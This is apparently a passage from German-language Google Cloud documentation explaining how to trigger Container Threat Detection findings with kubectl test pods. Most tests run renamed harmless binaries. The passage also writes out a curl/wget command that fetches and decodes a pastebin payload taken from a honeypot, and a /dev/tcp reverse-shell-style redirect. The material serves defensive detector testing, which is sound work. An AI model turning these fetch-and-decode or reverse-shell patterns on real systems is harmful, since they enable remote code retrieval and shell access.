Wenn Sie ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis auslösen möchten, führen Sie ein Programm in einem Container aus und legen Sie dabei für eine HTTP-Proxy-Umgebungsvariable einen nicht zulässigen Wert fest. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/curl umbenannt. Diese umbenannte Binärdatei wird dann mit einem nicht zulässigen Wert für eine HTTP-Proxy-Umgebungsvariable ausgeführt (z. B. HTTP_PROXY, http_proxy). Die Kombination aus Programmausführung und Vorhandensein einer nicht zulässigen HTTP-Proxy-Umgebung wird als verdächtig eingestuft, da dies auf einen Versuch hindeutet, über einen nicht autorisierten Proxy zu kommunizieren.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen HTTP-Proxy-Umgebungsvariablen aus:

    • X86-Knoten:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • ARM-Knoten:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Mit diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden beim Erstellen eines Containers möglicherweise vorübergehend Execution: Program Run with Disallowed HTTP Proxy EnvErgebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Datenexfiltration: Tools zum Remote-Dateikopieren in Containern starten

Wenn Sie ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis auslösen möchten, führen Sie ein gängiges Tool zum Kopieren von Remote-Dateien in einem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/rsync umbenannt. Anschließend wird es ausgeführt, um eine Datei von einer Remote-Quelle abzurufen, die potenziell schädlich ist. Die Ausführung eines solchen Tools mit Argumenten für den Remote-Dateieinzug in einem Container wird als verdächtig eingestuft, da dies auf einen Versuch hindeutet, schädlichen Code herunterzuladen und auszuführen oder Daten zu exfiltrieren.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Tool zum Kopieren von Remotedateien wie rsync aus:

    • X86-Knoten:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • ARM-Knoten:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Mit diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden beim Erstellen eines Containers möglicherweise vorübergehend Exfiltration: Launch Remote File Copy Tools In Container Ergebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Exfiltration: Launch Remote File Copy Tools In Container-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Auswirkung: Bulk-Daten vom Laufwerk entfernen

Wenn Sie ein Ergebnis vom Typ Impact: Remove Bulk Data From Disk auslösen möchten, legen Sie eine Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dazu wird das /bin/ls-Binärprogramm kopiert und in shred umbenannt (oder ein ähnliches Dienstprogramm, das zum sicheren Löschen von Dateien entwickelt wurde). Die umbenannte Binärdatei wird dann ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie dem Verhalten ähnelt, das häufig bei Versuchen beobachtet wird, große Datenmengen von einem Laufwerk in einer containerisierten Umgebung zu entfernen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Geben Sie eine Binärdatei zum Löschen von Dateien oder Daten wie shred ein und führen Sie sie aus:

    • X86-Knoten:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • ARM-Knoten:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Mit diesem Testverfahren wird ein Impact: Remove Bulk Data From Disk-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden beim Erstellen eines Containers möglicherweise vorübergehend Impact: Remove Bulk Data From Disk Ergebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Impact: Remove Bulk Data From Disk-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Auswirkungen: Verdächtige Krypto-Mining-Aktivitäten mit dem Stratum-Protokoll

Um eine Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis auslösen zu können, muss ein Binärprogramm in einem Container mit Argumenten ausgeführt werden, die denen von Krypto-Mining-Software ähneln, die über das Stratum-Protokoll kommunizieren. Im Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt die Kopie in eine gefälschte Binärdatei um (vermutlich, um einen Krypto-Miner zu simulieren). Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die stratum+tcp oder ähnliche Stratum-Protokoll-Indikatoren enthalten. Diese Aktivität wird als verdächtig eingestuft, da sie die Netzwerkkommunikationsmuster von Krypto-Mining-Software in containerisierten Umgebungen nachahmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Dienstprogramm wie curl mit Argumenten aus, die denen von Krypto-Mining-Software ähneln, die über das Stratum-Protokoll kommunizieren:

    • X86-Knoten:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • ARM-Knoten:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Mit diesem Testverfahren wird ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Störungen werden beim Erstellen eines Containers möglicherweise vorübergehend Impact: Suspicious crypto mining activity using the Stratum Protocol Ergebnisse von Container Threat Detection herausgefiltert. Wenn Sie alle Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnisse sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Möglicherweise sehen Sie auch eine zusätzliche Meldung für den Befehl bash, den Sie in diesem Test ausführen. Das ist normal und Sie können die zusätzliche Meldung ignorieren.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript mithilfe der folgenden Anleitung in Ihrem Container ausführen.

Dabei wird das neueste Ubuntu 24.04-Image bereitgestellt, ein scheinbar schädliches Script kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieses Inline-Bourne-Shell-Script stammt aus einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt daher nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Der Versuch, die URL aufzurufen, führt dann zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.

    • X86-Knoten:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging aufgerufen werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Beobachtete schädliche URL“ auslösen möchten, führen Sie ein Binary aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Dienst Safe Browsing auf eine Beispiel-Malware-URL zuzugreifen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

    • X86-Knoten:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Mit diesem Testverfahren wird das Ergebnis „Bösartige URL erkannt“ ausgelöst, das Sie in Security Command Center und, sofern Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann wird /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    • X86-Knoten:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • ARM-Knoten:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Zum Testen des Unexpected Child Shell-Detektors können Sie einen Prozessbaum mit einem untergeordneten Shell-Prozess erstellen.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Erkennungssystem erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des Prozesses sh und benennt sie consul.
  2. Der echo-Prozess wird kopiert und dash genannt.
  3. Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie eine Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Verwenden Sie den Mock-consul-Prozess, um eine Mock-Shell aufzurufen:

    • X86-Knoten:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • ARM-Knoten:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Mit diesem Testverfahren wird ein Ergebnis vom Typ Unexpected Child Shell erstellt, das Sie in Security Command Center aufrufen können. Wenn das Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging aufrufen.

Nächste Schritte